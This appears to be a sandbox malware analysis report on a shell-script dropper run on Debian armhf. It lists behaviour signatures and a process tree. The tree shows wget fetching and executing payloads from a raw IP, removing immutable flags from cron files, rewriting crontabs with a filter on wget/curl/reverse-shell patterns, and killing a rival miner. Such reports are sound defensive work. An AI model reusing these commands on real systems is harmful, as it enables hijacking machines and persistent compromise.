Analysis
- max time kernel
20s - max time network
88s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
22/05/2026, 15:07
General
- Target sh
- Size 2KB
- Sample260522-shd8bae13n
- SHA256 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Attempts to change immutable files 22 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
- Enumerates running processes
Discovers information about currently running processes on the system
- Reads network interface configuration 2 TTPs 6 IoCs
Fetches information about one or more active network interfaces.
- Reads CPU attributes 1 TTPs 7 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/sh/tmp/sh1⤵
-
/bin/catcat /proc/mounts2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep noexec2⤵
-
-
/usr/bin/whoamiwhoami2⤵
-
-
/usr/bin/findfind / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*"2⤵
- Reads network interface configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/unameuname -mp2⤵
-
-
/usr/bin/trtr -d " "2⤵
-
-
/usr/bin/odod -An -N2 -i /dev/urandom2⤵
-
-
/usr/bin/exprexpr 65032 "%" 32 + 42⤵
-
-
/usr/bin/trtr -dc A-Za-z0-92⤵
-
-
/usr/bin/opensslopenssl rand -base64 2562⤵
-
-
/usr/bin/headhead -c 122⤵
-
-
/usr/bin/touchtouch .testfile2⤵
-
-
/bin/dddd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"2⤵
-
-
/bin/rmrm -rf .testfile .testfile22⤵
-
-
/bin/rmrm -rf clean2⤵
-
-
/usr/bin/wgetwget --no-check-certificate -q https://14.46.136.77/clean2⤵
-
-
/bin/chmodchmod +x clean2⤵
- File and Directory Permissions Modification
-
-
/bin/shsh clean2⤵
- Writes file to tmp directory
-
/bin/systemctlsystemctl disable c3pool_miner3⤵
-
-
/bin/systemctlsystemctl stop c3pool_miner3⤵
-
-
/usr/bin/chattrchattr -ia /var/spool/cron/crontabs3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/crontab3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/crontab3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/crontab3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.hourly3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/apt-compat3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/apt-compat3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/apt-compat3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/bsdmainutils3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/bsdmainutils3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/bsdmainutils3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/dpkg3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/dpkg3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/dpkg3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/exim4-base3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/exim4-base3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/exim4-base3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/logrotate3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/logrotate3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/logrotate3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/passwd3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/passwd3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/passwd3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.weekly3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.monthly3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.d3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/anacrontab3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/anacrontab3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/anacrontab3⤵
-
-
/bin/rmrm -rf /tmp/sh /tmp/systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-7i6vzT3⤵
-
-
/bin/rmrm -rf /var/tmp/systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-svONTu3⤵
-
-
/bin/rmrm -rf "/dev/shm/*"3⤵
-
-
-
/bin/rmrm -rf clean2⤵
-
-
/bin/rmrm -rf .redtail2⤵
-
-
/bin/rmrm -rf .O41amRpSZV712⤵
-
-
/bin/grepgrep -q x86_642⤵
-
-
/bin/grepgrep -q amd642⤵
-
-
/bin/grepgrep -q "i[3456]86"2⤵
-
-
/bin/grepgrep -q armv82⤵
-
-
/bin/grepgrep -q aarch642⤵
-
-
/bin/grepgrep -q armv72⤵
-
-
/bin/rmrm -rf arm72⤵
-
-
/usr/bin/wgetwget --no-check-certificate -q https://14.46.136.77/arm72⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
.testfile2
clean
clean_crontab
clean_crontab
clean_crontab
clean_crontab
clean_crontab